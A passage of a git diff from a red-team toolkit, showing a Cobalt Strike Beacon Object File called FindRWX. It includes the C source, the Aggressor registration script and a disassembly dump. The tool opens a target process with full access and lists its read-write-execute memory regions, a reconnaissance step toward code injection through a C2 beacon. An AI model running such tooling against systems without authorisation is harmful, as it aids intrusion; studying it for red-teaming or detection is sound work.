-		MSVCRT$memset(g_lpwPrintBuffer, 0, MAX_STRING * sizeof(WCHAR)); // Clear print buffer.
-	}
-
-	va_end(argList);
-	return hr;
-}
-
-//https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
-VOID BeaconOutputStreamW() {
-	STATSTG ssStreamData = { 0 };
-	SIZE_T cbSize = 0;
-	ULONG cbRead = 0;
-	LARGE_INTEGER pos;
-	LPWSTR lpwOutput = NULL;
-
-	if (FAILED(g_lpStream->lpVtbl->Stat(g_lpStream, &ssStreamData, STATFLAG_NONAME))) {
-		return;
-	}
-
-	cbSize = ssStreamData.cbSize.LowPart;
-	lpwOutput = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, cbSize + 1);
-	if (lpwOutput != NULL) {
-		pos.QuadPart = 0;
-		if (FAILED(g_lpStream->lpVtbl->Seek(g_lpStream, pos, STREAM_SEEK_SET, NULL))) {
-			goto CleanUp;
-		}
-
-		if (FAILED(g_lpStream->lpVtbl->Read(g_lpStream, lpwOutput, (ULONG)cbSize, &cbRead))) {		
-			goto CleanUp;
-		}
-
-		BeaconPrintf(CALLBACK_OUTPUT, "%ls", lpwOutput);
-	}
-
-CleanUp:
-
-	if (g_lpStream != NULL) {
-		g_lpStream->lpVtbl->Release(g_lpStream);
-		g_lpStream = NULL;
-	}
-
-	if (g_lpwPrintBuffer != NULL) {
-		MSVCRT$free(g_lpwPrintBuffer);
-		g_lpwPrintBuffer = NULL;
-	}
-
-	if (lpwOutput != NULL) {
-		KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpwOutput);
-	}
-
-	return;
-}
-
-
-BOOL FindRWX(HANDLE hProcess) {
-	
-	BOOL foundRWX = FALSE;
-	LPVOID addr = 0;
-	MEMORY_BASIC_INFORMATION mbi;
-	mbi.BaseAddress = 0;
-	mbi.AllocationBase = 0;
-	mbi.AllocationProtect = 0;
-	mbi.RegionSize = 0;
-	mbi.State = 0;
-	mbi.Protect = 0;
-	mbi.Type = 0;
-	
-	BeaconPrintToStreamW(L"\nMemory address\t\t\tByte size\n");
-	BeaconPrintToStreamW(L"================================================\n");
-	
-	while (KERNEL32$VirtualQueryEx(hProcess, addr, &mbi, sizeof(mbi))) {
-		addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);
-
-		if (mbi.Protect == PAGE_EXECUTE_READWRITE && mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE) {
-			BeaconPrintToStreamW(L"%#-30llx\t%#7llu\n", mbi.BaseAddress, mbi.RegionSize);
-			foundRWX = TRUE;
-			
-		}
-	}
-	return foundRWX;
-}
-
-
-
-
-
-void go(char *args, int len) {
-	int pID = 0;
-	datap parser;
-	HANDLE hProcess = NULL;
-	BOOL res = NULL;
-	
-	BeaconDataParse(&parser, args, len);
-	pID = BeaconDataInt(&parser);
-	
-	hProcess = KERNEL32$OpenProcess(PROCESS_ALL_ACCESS, 0, pID);
-	if (hProcess == NULL) {
-		BeaconPrintf(CALLBACK_ERROR, "Error opening remote process or thread!\n");
-		return -1;		
-	}
-	
-	res = FindRWX(hProcess);
-	if(!res) {
-		BeaconPrintf(CALLBACK_ERROR, "No READ, WRITE, EXECUTE memory region found in the specified process!");
-	}
-	else {
-		BeaconOutputStreamW();
-		BeaconPrintf(CALLBACK_OUTPUT, "\n[+] DONE");
-	}
-
-	KERNEL32$CloseHandle(hProcess);
-	return 0;
-}
-
-
+#include <windows.h>
+#include <stdio.h>
+#include <strsafe.h>
+#include <winternl.h>
+#include "beacon.h"
+#include "findrwx.h"
+
+
+//START TrustedSec BOF print code: https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/src/common/base.c
+#ifndef bufsize
+#define bufsize 8192
+#endif
+char *output = 0;  
+WORD currentoutsize = 0;
+HANDLE trash = NULL; 
+int bofstart();
+void internal_printf(const char* format, ...);
+void printoutput(BOOL done);
+
+int bofstart() {   
+    output = (char*)MSVCRT$calloc(bufsize, 1);
+    currentoutsize = 0;
+    return 1;
+}
+
+void internal_printf(const char* format, ...){
+    int buffersize = 0;
+    int transfersize = 0;
+    char * curloc = NULL;
+    char* intBuffer = NULL;
+    va_list args;
+    va_start(args, format);
+    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); 
+    va_end(args);
+    
+    if (buffersize == -1) return;
+    
+    char* transferBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, bufsize);
+	intBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, buffersize);
+    va_start(args, format);
+    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); 
+    va_end(args);
+    if(buffersize + currentoutsize < bufsize) 
+    {
+        MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize);
+        currentoutsize += buffersize;
+    } else {
+        curloc = intBuffer;
+        while(buffersize > 0)
+        {
+            transfersize = bufsize - currentoutsize;
+            if(buffersize < transfersize) 
+            {
+                transfersize = buffersize;
+            }
+            MSVCRT$memcpy(output+currentoutsize, curloc, transfersize);
+            currentoutsize += transfersize;
+            if(currentoutsize == bufsize)
+            {
+                printoutput(FALSE); 
+            }
+            MSVCRT$memset(transferBuffer, 0, transfersize); 
+            curloc += transfersize; 
+            buffersize -= transfersize;
+        }
+    }
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, intBuffer);
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, transferBuffer);
+}
+
+void printoutput(BOOL done) {
+    char * msg = NULL;
+    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);
+    currentoutsize = 0;
+    MSVCRT$memset(output, 0, bufsize);
+    if(done) {MSVCRT$free(output); output=NULL;}
+}
+//END TrustedSec BOF print code.
+
+
+BOOL FindRWX(HANDLE hProcess) {
+	BOOL foundRWX = FALSE;
+	LPVOID addr = 0;
+	MEMORY_BASIC_INFORMATION mbi;
+	mbi.BaseAddress = 0;
+	mbi.AllocationBase = 0;
+	mbi.AllocationProtect = 0;
+	mbi.RegionSize = 0;
+	mbi.State = 0;
+	mbi.Protect = 0;
+	mbi.Type = 0;
+	
+	internal_printf("\nMemory address\t\t\tByte size\n");
+	internal_printf("================================================\n");
+	
+	while (KERNEL32$VirtualQueryEx(hProcess, addr, &mbi, sizeof(mbi))) {
+		addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);
+
+		if (mbi.Protect == PAGE_EXECUTE_READWRITE && mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE) {
+			internal_printf("%#-30llx\t%#7llu\n", mbi.BaseAddress, mbi.RegionSize);
+			foundRWX = TRUE;
+			
+		}
+	}
+	return foundRWX;
+}
+
+
+void go(char *args, int len) {
+	int pID = 0;
+	datap parser;
+	HANDLE hProcess = NULL;
+	BOOL res = NULL;
+	
+	BeaconDataParse(&parser, args, len);
+	pID = BeaconDataInt(&parser);
+	if(!bofstart()) return;
+	
+	hProcess = KERNEL32$OpenProcess(PROCESS_ALL_ACCESS, 0, pID);
+	if (hProcess == NULL) {
+		BeaconPrintf(CALLBACK_ERROR, "Error opening remote process or thread!\n");
+		return -1;		
+	}
+	
+	res = FindRWX(hProcess);
+	if(!res) {
+		BeaconPrintf(CALLBACK_ERROR, "No READ, WRITE, EXECUTE memory region found in the specified process!");
+	}
+	else {
+		printoutput(TRUE);
+	}
+
+	KERNEL32$CloseHandle(hProcess);
+	return 0;
+}
+
+

+ 30 - 30
KIT/FindRWX/findrwx.cna

@@ -1,30 +1,30 @@
-# author REDMED-X
-
-beacon_command_register(
-    "findrwx", "Find RWX memory regions in a target process.",
-    "INFO:\nFind processes that already have memory allocated for read/write/execute (like most .NET processes)\n\nOPTIONS:\n[pid]: target process to enumerate\n\n" .
-    "USAGE:\nfindrwx <pid>\n\n");
-
-alias findrwx {
-    $bid = $1;
-    $pid = $2;
-
-    if ($pid eq "") {
-        berror($bid, "Please make sure that the PID of the target process is specified.");
-        return;
-    }
-
-    # Read in the right BOF file
-    $handle = openf(script_resource("findrwx.o"));
-    $data   = readb($handle, -1);
-    closef($handle);
-
-    # Pack our arguments
-    $arg_data  = bof_pack($bid, "i", $pid);
-
-    blog($bid, "Tasked to verify if the target process has RWX memory regions..");
-
-    beacon_inline_execute($bid, $data, "go", $arg_data);
-}
-
-
+# author REDMED-X
+
+beacon_command_register(
+    "findrwx", "Find RWX memory regions in a target process.",
+    "INFO:\nFind processes that already have memory allocated for read/write/execute (like most .NET processes)\n\nOPTIONS:\n[pid]: target process to enumerate\n\n" .
+    "USAGE:\nfindrwx <pid>\n\n");
+
+alias findrwx {
+    $bid = $1;
+    $pid = $2;
+
+    if ($pid eq "") {
+        berror($bid, "Please make sure that the PID of the target process is specified.");
+        return;
+    }
+
+    # Read in the right BOF file
+    $handle = openf(script_resource("findrwx.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+    # Pack our arguments
+    $arg_data  = bof_pack($bid, "i", $pid);
+
+    blog($bid, "Tasked to verify if the target process has RWX memory regions..");
+
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+

+ 365 - 0
KIT/FindRWX/findrwx.disasm

@@ -0,0 +1,365 @@
+Microsoft (R) COFF/PE Dumper Version 14.29.30148.0
+Copyright (C) Microsoft Corporation.  All rights reserved.
+
+
+Dump of file findrwx.o
+
+File Type: COFF OBJECT
+
+bofstart:
+  0000000000000000: 48 83 EC 28        sub         rsp,28h
+  0000000000000004: BA 01 00 00 00     mov         edx,1
+  0000000000000009: B9 00 20 00 00     mov         ecx,2000h
+  000000000000000E: FF 15 00 00 00 00  call        qword ptr [__imp_MSVCRT$calloc]
+  0000000000000014: 48 89 05 00 00 00  mov         qword ptr [output],rax
+                    00
+  000000000000001B: 33 C0              xor         eax,eax
+  000000000000001D: 66 89 05 00 00 00  mov         word ptr [currentoutsize],ax
+                    00
+  0000000000000024: B8 01 00 00 00     mov         eax,1
+  0000000000000029: 48 83 C4 28        add         rsp,28h
+  000000000000002D: C3                 ret
+  000000000000002E: CC                 int         3
+  000000000000002F: CC                 int         3
+  0000000000000030: CC                 int         3
+  0000000000000031: CC                 int         3
+  0000000000000032: CC                 int         3
+  0000000000000033: CC                 int         3
+  0000000000000034: CC                 int         3
+  0000000000000035: CC                 int         3
+  0000000000000036: CC                 int         3
+  0000000000000037: CC                 int         3
+  0000000000000038: CC                 int         3
+  0000000000000039: CC                 int         3
+  000000000000003A: CC                 int         3
+  000000000000003B: CC                 int         3
+  000000000000003C: CC                 int         3
+  000000000000003D: CC                 int         3
+  000000000000003E: CC                 int         3
+  000000000000003F: CC                 int         3
+internal_printf:
+  0000000000000040: 48 89 4C 24 08     mov         qword ptr [rsp+8],rcx
+  0000000000000045: 48 89 54 24 10     mov         qword ptr [rsp+10h],rdx
+  000000000000004A: 4C 89 44 24 18     mov         qword ptr [rsp+18h],r8
+  000000000000004F: 4C 89 4C 24 20     mov         qword ptr [rsp+20h],r9
+  0000000000000054: 48 83 EC 58        sub         rsp,58h
+  0000000000000058: C7 44 24 20 00 00  mov         dword ptr [rsp+20h],0
+                    00 00
+  0000000000000060: C7 44 24 24 00 00  mov         dword ptr [rsp+24h],0
+                    00 00
+  0000000000000068: 48 C7 44 24 38 00  mov         qword ptr [rsp+38h],0
+                    00 00 00
+  0000000000000071: 48 C7 44 24 30 00  mov         qword ptr [rsp+30h],0
+                    00 00 00
+  000000000000007A: 48 8D 44 24 68     lea         rax,[rsp+68h]
+  000000000000007F: 48 89 44 24 28     mov         qword ptr [rsp+28h],rax
+  0000000000000084: 4C 8B 4C 24 28     mov         r9,qword ptr [rsp+28h]
+  0000000000000089: 4C 8B 44 24 60     mov         r8,qword ptr [rsp+60h]
+  000000000000008E: 33 D2              xor         edx,edx
+  0000000000000090: 33 C9              xor         ecx,ecx
+  0000000000000092: FF 15 00 00 00 00  call        qword ptr [__imp_MSVCRT$vsnprintf]
+  0000000000000098: 89 44 24 20        mov         dword ptr [rsp+20h],eax
+  000000000000009C: 48 C7 44 24 28 00  mov         qword ptr [rsp+28h],0
+                    00 00 00
+  00000000000000A5: 83 7C 24 20 FF     cmp         dword ptr [rsp+20h],0FFFFFFFFh
+  00000000000000AA: 75 05              jne         00000000000000B1
+  00000000000000AC: E9 C2 01 00 00     jmp         0000000000000273
+  00000000000000B1: FF 15 00 00 00 00  call        qword ptr [__imp_KERNEL32$GetProcessHeap]
+  00000000000000B7: 41 B8 00 20 00 00  mov         r8d,2000h
+  00000000000000BD: BA 08 00 00 00     mov         edx,8
+  00000000000000C2: 48 8B C8           mov         rcx,rax
+  00000000000000C5: FF 15 00 00 00 00  call        qword ptr [__imp_KERNEL32$HeapAlloc]
+  00000000000000CB: 48 89 44 24 40     mov         qword ptr [rsp+40h],rax
+  00000000000000D0: 48 63 44 24 20     movsxd      rax,dword ptr [rsp+20h]
+  00000000000000D5: 48 89 44 24 48     mov         qword ptr [rsp+48h],rax
+  00000000000000DA: FF 15 00 00 00 00  call        qword ptr [__imp_KERNEL32$GetProcessHeap]
+  00000000000000E0: 48 8B 4C 24 48     mov         rcx,qword ptr [rsp+48h]
+  00000000000000E5: 4C 8B C1           mov         r8,rcx
+  00000000000000E8: BA 08 00 00 00     mov         edx,8
+  00000000000000ED: 48 8B C8           mov         rcx,rax
+  00000000000000F0: FF 15 00 00 00 00  call        qword ptr [__imp_KERNEL32$HeapAlloc]
+  00000000000000F6: 48 89 44 24 30     mov         qword ptr [rsp+30h],rax
+  00000000000000FB: 48 8D 44 24 68     lea         rax,[rsp+68h]
+  0000000000000100: 48 89 44 24 28     mov         qword ptr [rsp+28h],rax
+  0000000000000105: 48 63 44 24 20     movsxd      rax,dword ptr [rsp+20h]
+  000000000000010A: 4C 8B 4C 24 28     mov         r9,qword ptr [rsp+28h]
+  000000000000010F: 4C 8B 44 24 60     mov         r8,qword ptr [rsp+60h]
+  0000000000000114: 48 8B D0           mov         rdx,rax
+  0000000000000117: 48 8B 4C 24 30     mov         rcx,qword ptr [rsp+30h]
+  000000000000011C: FF 15 00 00 00 00  call        qword ptr [__imp_MSVCRT$vsnprintf]
+  0000000000000122: 48 C7 44 24 28 00  mov         qword ptr [rsp+28h],0
+                    00 00 00
+  000000000000012B: 0F B7 05 00 00 00  movzx       eax,word ptr [currentoutsize]
+                    00
+  0000000000000132: 8B 4C 24 20        mov         ecx,dword ptr [rsp+20h]
+  0000000000000136: 03 C8              add         ecx,eax
+  0000000000000138: 8B C1              mov         eax,ecx
+  000000000000013A: 3D 00 20 00 00     cmp         eax,2000h
+  000000000000013F: 7D 3E              jge         000000000000017F
+  0000000000000141: 48 63 44 24 20     movsxd      rax,dword ptr [rsp+20h]
+  0000000000000146: 0F B7 0D 00 00 00  movzx       ecx,word ptr [currentoutsize]
+                    00
+  000000000000014D: 48 8B 15 00 00 00  mov         rdx,qword ptr [output]
+                    00
+  0000000000000154: 48 03 D1           add         rdx,rcx
+  0000000000000157: 48 8B CA           mov         rcx,rdx
+  000000000000015A: 4C 8B C0           mov         r8,rax
+  000000000000015D: 48 8B 54 24 30     mov         rdx,qword ptr [rsp+30h]
+  0000000000000162: FF 15 00 00 00 00  call        qword ptr [__imp_MSVCRT$memcpy]
+  0000000000000168: 0F B7 05 00 00 00  movzx       eax,word ptr [currentoutsize]
+                    00
+  000000000000016F: 03 44 24 20        add         eax,dword ptr [rsp+20h]
+  0000000000000173: 66 89 05 00 00 00  mov         word ptr [currentoutsize],ax
+                    00
+  000000000000017A: E9 C8 00 00 00     jmp         0000000000000247
+  000000000000017F: 48 8B 44 24 30     mov         rax,qword ptr [rsp+30h]
+  0000000000000184: 48 89 44 24 38     mov         qword ptr [rsp+38h],rax
+  0000000000000189: 83 7C 24 20 00     cmp         dword ptr [rsp+20h],0
+  000000000000018E: 0F 8E B3 00 00 00  jle         0000000000000247
+  0000000000000194: 0F B7 05 00 00 00  movzx       eax,word ptr [currentoutsize]
+                    00
+  000000000000019B: B9 00 20 00 00     mov         ecx,2000h
+  00000000000001A0: 2B C8              sub         ecx,eax
+  00000000000001A2: 8B C1              mov         eax,ecx
+  00000000000001A4: 89 44 24 24        mov         dword ptr [rsp+24h],eax
+  00000000000001A8: 8B 44 24 24        mov         eax,dword ptr [rsp+24h]
+  00000000000001AC: 39 44 24 20        cmp         dword ptr [rsp+20h],eax
+  00000000000001B0: 7D 08              jge         00000000000001BA
+  00000000000001B2: 8B 44 24 20        mov         eax,dword ptr [rsp+20h]
+  00000000000001B6: 89 44 24 24        mov         dword ptr [rsp+24h],eax
+  00000000000001BA: 48 63 44 24 24     movsxd      rax,dword ptr [rsp+24h]
+  00000000000001BF: 0F B7 0D 00 00 00  movzx       ecx,word ptr [currentoutsize]
+                    00
+  00000000000001C6: 48 8B 15 00 00 00  mov         rdx,qword ptr [output]
+                    00
+  00000000000001CD: 48 03 D1           add         rdx,rcx
+  00000000000001D0: 48 8B CA           mov         rcx,rdx
+  00000000000001D3: 4C 8B C0           mov         r8,rax
+  00000000000001D6: 48 8B 54 24 38     mov         rdx,qword ptr [rsp+38h]
+  00000000000001DB: FF 15 00 00 00 00  call        qword ptr [__imp_MSVCRT$memcpy]
+  00000000000001E1: 0F B7 05 00 00 00  movzx       eax,word ptr [currentoutsize]
+                    00
+  00000000000001E8: 03 44 24 24        add         eax,dword ptr [rsp+24h]
+  00000000000001EC: 66 89 05 00 00 00  mov         word ptr [currentoutsize],ax
+                    00
+  00000000000001F3: 0F B7 05 00 00 00  movzx       eax,word ptr [currentoutsize]
+                    00
+  00000000000001FA: 3D 00 20 00 00     cmp         eax,2000h
+  00000000000001FF: 75 07              jne         0000000000000208
+  0000000000000201: 33 C9              xor         ecx,ecx
+  0000000000000203: E8 00 00 00 00     call        printoutput
+  0000000000000208: 48 63 44 24 24     movsxd      rax,dword ptr [rsp+24h]
+  000000000000020D: 4C 8B C0           mov         r8,rax
+  0000000000000210: 33 D2              xor         edx,edx
+  0000000000000212: 48 8B 4C 24 40     mov         rcx,qword ptr [rsp+40h]
+  0000000000000217: FF 15 00 00 00 00  call        qword ptr [__imp_MSVCRT$memset]
+  000000000000021D: 48 63 44 24 24     movsxd      rax,dword ptr [rsp+24h]
+  0000000000000222: 48 8B 4C 24 38     mov         rcx,qword ptr [rsp+38h]
+  0000000000000227: 48 03 C8           add         rcx,rax
+  000000000000022A: 48 8B C1           mov         rax,rcx
+  000000000000022D: 48 89 44 24 38     mov         qword ptr [rsp+38h],rax
+  0000000000000232: 8B 44 24 24        mov         eax,dword ptr [rsp+24h]
+  0000000000000236: 8B 4C 24 20        mov         ecx,dword ptr [rsp+20h]
+  000000000000023A: 2B C8              sub         ecx,eax
+  000000000000023C: 8B C1              mov         eax,ecx
+  000000000000023E: 89 44 24 20        mov         dword ptr [rsp+20h],eax
+  0000000000000242: E9 42 FF FF FF     jmp         0000000000000189
+  0000000000000247: FF 15 00 00 00 00  call        qword ptr [__imp_KERNEL32$GetProcessHeap]
+  000000000000024D: 4C 8B 44 24 30     mov         r8,qword ptr [rsp+30h]
+  0000000000000252: 33 D2              xor         edx,edx
+  0000000000000254: 48 8B C8           mov         rcx,rax
+  0000000000000257: FF 15 00 00 00 00  call        qword ptr [__imp_KERNEL32$HeapFree]
+  000000000000025D: FF 15 00 00 00 00  call        qword ptr [__imp_KERNEL32$GetProcessHeap]
+  0000000000000263: 4C 8B 44 24 40     mov         r8,qword ptr [rsp+40h]
+  0000000000000268: 33 D2              xor         edx,edx
+  000000000000026A: 48 8B C8           mov         rcx,rax
+  000000000000026D: FF 15 00 00 00 00  call        qword ptr [__imp_KERNEL32$HeapFree]
+  0000000000000273: 48 83 C4 58        add         rsp,58h
+  0000000000000277: C3                 ret
+  0000000000000278: CC                 int         3
+  0000000000000279: CC                 int         3
+  000000000000027A: CC                 int         3
+  000000000000027B: CC                 int         3
+  000000000000027C: CC                 int         3
+  000000000000027D: CC                 int         3
+  000000000000027E: CC                 int         3
+  000000000000027F: CC                 int         3
+printoutput:
+  0000000000000280: 89 4C 24 08        mov         dword ptr [rsp+8],ecx
+  0000000000000284: 48 83 EC 38        sub         rsp,38h
+  0000000000000288: 48 C7 44 24 20 00  mov         qword ptr [rsp+20h],0
+                    00 00 00
+  0000000000000291: 0F B7 05 00 00 00  movzx       eax,word ptr [currentoutsize]
+                    00
+  0000000000000298: 44 8B C0           mov         r8d,eax
+  000000000000029B: 48 8B 15 00 00 00  mov         rdx,qword ptr [output]
+                    00
+  00000000000002A2: 33 C9              xor         ecx,ecx
+  00000000000002A4: FF 15 00 00 00 00  call        qword ptr [__imp_BeaconOutput]
+  00000000000002AA: 33 C0              xor         eax,eax
+  00000000000002AC: 66 89 05 00 00 00  mov         word ptr [currentoutsize],ax
+                    00
+  00000000000002B3: 41 B8 00 20 00 00  mov         r8d,2000h
+  00000000000002B9: 33 D2              xor         edx,edx
+  00000000000002BB: 48 8B 0D 00 00 00  mov         rcx,qword ptr [output]
+                    00
+  00000000000002C2: FF 15 00 00 00 00  call        qword ptr [__imp_MSVCRT$memset]
+  00000000000002C8: 83 7C 24 40 00     cmp         dword ptr [rsp+40h],0
+  00000000000002CD: 74 18              je          00000000000002E7
+  00000000000002CF: 48 8B 0D 00 00 00  mov         rcx,qword ptr [output]
+                    00
+  00000000000002D6: FF 15 00 00 00 00  call        qword ptr [__imp_MSVCRT$free]
+  00000000000002DC: 48 C7 05 00 00 00  mov         qword ptr [output],0
+                    00 00 00 00 00
+  00000000000002E7: 48 83 C4 38        add         rsp,38h
+  00000000000002EB: C3                 ret
+  00000000000002EC: CC                 int         3
+  00000000000002ED: CC                 int         3
+  00000000000002EE: CC                 int         3
+  00000000000002EF: CC                 int         3
+  00000000000002F0: CC                 int         3
+  00000000000002F1: CC                 int         3
+  00000000000002F2: CC                 int         3
+  00000000000002F3: CC                 int         3
+  00000000000002F4: CC                 int         3
+  00000000000002F5: CC                 int         3
+  00000000000002F6: CC                 int         3
+  00000000000002F7: CC                 int         3
+  00000000000002F8: CC                 int         3
+  00000000000002F9: CC                 int         3
+  00000000000002FA: CC                 int         3
+  00000000000002FB: CC                 int         3
+  00000000000002FC: CC                 int         3
+  00000000000002FD: CC                 int         3
+  00000000000002FE: CC                 int         3
+  00000000000002FF: CC                 int         3
+FindRWX:
+  0000000000000300: 48 89 4C 24 08     mov         qword ptr [rsp+8],rcx
+  0000000000000305: 48 83 EC 68        sub         rsp,68h
+  0000000000000309: C7 44 24 20 00 00  mov         dword ptr [rsp+20h],0
+                    00 00
+  0000000000000311: 48 C7 44 24 28 00  mov         qword ptr [rsp+28h],0
+                    00 00 00
+  000000000000031A: 48 C7 44 24 30 00  mov         qword ptr [rsp+30h],0
+                    00 00 00
+  0000000000000323: 48 C7 44 24 38 00  mov         qword ptr [rsp+38h],0
+                    00 00 00
+  000000000000032C: C7 44 24 40 00 00  mov         dword ptr [rsp+40h],0
+                    00 00
+  0000000000000334: 48 C7 44 24 48 00  mov         qword ptr [rsp+48h],0
+                    00 00 00
+  000000000000033D: C7 44 24 50 00 00  mov         dword ptr [rsp+50h],0
+                    00 00
+  0000000000000345: C7 44 24 54 00 00  mov         dword ptr [rsp+54h],0
+                    00 00
+  000000000000034D: C7 44 24 58 00 00  mov         dword ptr [rsp+58h],0
+                    00 00
+  0000000000000355: 48 8D 0D 00 00 00  lea         rcx,[$SG102129]
+                    00
+  000000000000035C: E8 00 00 00 00     call        internal_printf
+  0000000000000361: 48 8D 0D 00 00 00  lea         rcx,[$SG102130]
+                    00
+  0000000000000368: E8 00 00 00 00     call        internal_printf
+  000000000000036D: 41 B9 30 00 00 00  mov         r9d,30h
+  0000000000000373: 4C 8D 44 24 30     lea         r8,[rsp+30h]
+  0000000000000378: 48 8B 54 24 28     mov         rdx,qword ptr [rsp+28h]
+  000000000000037D: 48 8B 4C 24 70     mov         rcx,qword ptr [rsp+70h]
+  0000000000000382: FF 15 00 00 00 00  call        qword ptr [__imp_KERNEL32$VirtualQueryEx]
+  0000000000000388: 48 85 C0           test        rax,rax
+  000000000000038B: 74 50              je          00000000000003DD
+  000000000000038D: 48 8B 44 24 48     mov         rax,qword ptr [rsp+48h]
+  0000000000000392: 48 8B 4C 24 30     mov         rcx,qword ptr [rsp+30h]
+  0000000000000397: 48 03 C8           add         rcx,rax
+  000000000000039A: 48 8B C1           mov         rax,rcx
+  000000000000039D: 48 89 44 24 28     mov         qword ptr [rsp+28h],rax
+  00000000000003A2: 83 7C 24 54 40     cmp         dword ptr [rsp+54h],40h
+  00000000000003A7: 75 32              jne         00000000000003DB
+  00000000000003A9: 81 7C 24 50 00 10  cmp         dword ptr [rsp+50h],1000h
+                    00 00
+  00000000000003B1: 75 28              jne         00000000000003DB
+  00000000000003B3: 81 7C 24 58 00 00  cmp         dword ptr [rsp+58h],20000h
+                    02 00
+  00000000000003BB: 75 1E              jne         00000000000003DB
+  00000000000003BD: 4C 8B 44 24 48     mov         r8,qword ptr [rsp+48h]
+  00000000000003C2: 48 8B 54 24 30     mov         rdx,qword ptr [rsp+30h]
+  00000000000003C7: 48 8D 0D 00 00 00  lea         rcx,[$SG102132]
+                    00
+  00000000000003CE: E8 00 00 00 00     call        internal_printf
+  00000000000003D3: C7 44 24 20 01 00  mov         dword ptr [rsp+20h],1
+                    00 00
+  00000000000003DB: EB 90              jmp         000000000000036D
+  00000000000003DD: 8B 44 24 20        mov         eax,dword ptr [rsp+20h]
+  00000000000003E1: 48 83 C4 68        add         rsp,68h
+  00000000000003E5: C3                 ret
+  00000000000003E6: CC                 int         3
+  00000000000003E7: CC                 int         3
+  00000000000003E8: CC                 int         3
+  00000000000003E9: CC                 int         3
+  00000000000003EA: CC                 int         3
+  00000000000003EB: CC                 int         3
+  00000000000003EC: CC                 int         3
+  00000000000003ED: CC                 int         3
+  00000000000003EE: CC                 int         3
+  00000000000003EF: CC                 int         3
+go:
+  00000000000003F0: 89 54 24 10        mov         dword ptr [rsp+10h],edx
+  00000000000003F4: 48 89 4C 24 08     mov         qword ptr [rsp+8],rcx
+  00000000000003F9: 48 83 EC 58        sub         rsp,58h
+  00000000000003FD: C7 44 24 20 00 00  mov         dword ptr [rsp+20h],0
+                    00 00
+  0000000000000405: 48 C7 44 24 28 00  mov         qword ptr [rsp+28h],0
+                    00 00 00
+  000000000000040E: C7 44 24 24 00 00  mov         dword ptr [rsp+24h],0
+                    00 00
+  0000000000000416: 44 8B 44 24 68     mov         r8d,dword ptr [rsp+68h]
+  000000000000041B: 48 8B 54 24 60     mov         rdx,qword ptr [rsp+60h]
+  0000000000000420: 48 8D 4C 24 30     lea         rcx,[rsp+30h]
+  0000000000000425: FF 15 00 00 00 00  call        qword ptr [__imp_BeaconDataParse]
+  000000000000042B: 48 8D 4C 24 30     lea         rcx,[rsp+30h]
+  0000000000000430: FF 15 00 00 00 00  call        qword ptr [__imp_BeaconDataInt]
+  0000000000000436: 89 44 24 20        mov         dword ptr [rsp+20h],eax
+  000000000000043A: E8 00 00 00 00     call        bofstart
+  000000000000043F: 85 C0              test        eax,eax
+  0000000000000441: 75 02              jne         0000000000000445
+  0000000000000443: EB 78              jmp         00000000000004BD
+  0000000000000445: 44 8B 44 24 20     mov         r8d,dword ptr [rsp+20h]
+  000000000000044A: 33 D2              xor         edx,edx
+  000000000000044C: B9 FF FF 1F 00     mov         ecx,1FFFFFh
+  0000000000000451: FF 15 00 00 00 00  call        qword ptr [__imp_KERNEL32$OpenProcess]
+  0000000000000457: 48 89 44 24 28     mov         qword ptr [rsp+28h],rax
+  000000000000045C: 48 83 7C 24 28 00  cmp         qword ptr [rsp+28h],0
+  0000000000000462: 75 19              jne         000000000000047D
+  0000000000000464: 48 8D 15 00 00 00  lea         rdx,[$SG102148]
+                    00
+  000000000000046B: B9 0D 00 00 00     mov         ecx,0Dh
+  0000000000000470: FF 15 00 00 00 00  call        qword ptr [__imp_BeaconPrintf]
+  0000000000000476: B8 FF FF FF FF     mov         eax,0FFFFFFFFh
+  000000000000047B: EB 40              jmp         00000000000004BD
+  000000000000047D: 48 8B 4C 24 28     mov         rcx,qword ptr [rsp+28h]
+  0000000000000482: E8 00 00 00 00     call        FindRWX
+  0000000000000487: 89 44 24 24        mov         dword ptr [rsp+24h],eax
+  000000000000048B: 83 7C 24 24 00     cmp         dword ptr [rsp+24h],0
+  0000000000000490: 75 14              jne         00000000000004A6
+  0000000000000492: 48 8D 15 00 00 00  lea         rdx,[$SG102151]
+                    00
+  0000000000000499: B9 0D 00 00 00     mov         ecx,0Dh
+  000000000000049E: FF 15 00 00 00 00  call        qword ptr [__imp_BeaconPrintf]
+  00000000000004A4: EB 0A              jmp         00000000000004B0
+  00000000000004A6: B9 01 00 00 00     mov         ecx,1
+  00000000000004AB: E8 00 00 00 00     call        printoutput
+  00000000000004B0: 48 8B 4C 24 28     mov         rcx,qword ptr [rsp+28h]
+  00000000000004B5: FF 15 00 00 00 00  call        qword ptr [__imp_KERNEL32$CloseHandle]
+  00000000000004BB: 33 C0              xor         eax,eax
+  00000000000004BD: 48 83 C4 58        add         rsp,58h
+  00000000000004C1: C3                 ret
+
+  Summary
+
+          18 .bss
+          40 .chks64
+          E6 .data
+          8C .debug$S
+          5D .drectve
+          3C .pdata
+         4C2 .text$mn
+          28 .xdata

+ 16 - 23
KIT/FindRWX/findrwx.h

@@ -1,23 +1,16 @@
-#include <windows.h>
-
-//FindRWX
-DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQueryEx(HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength);
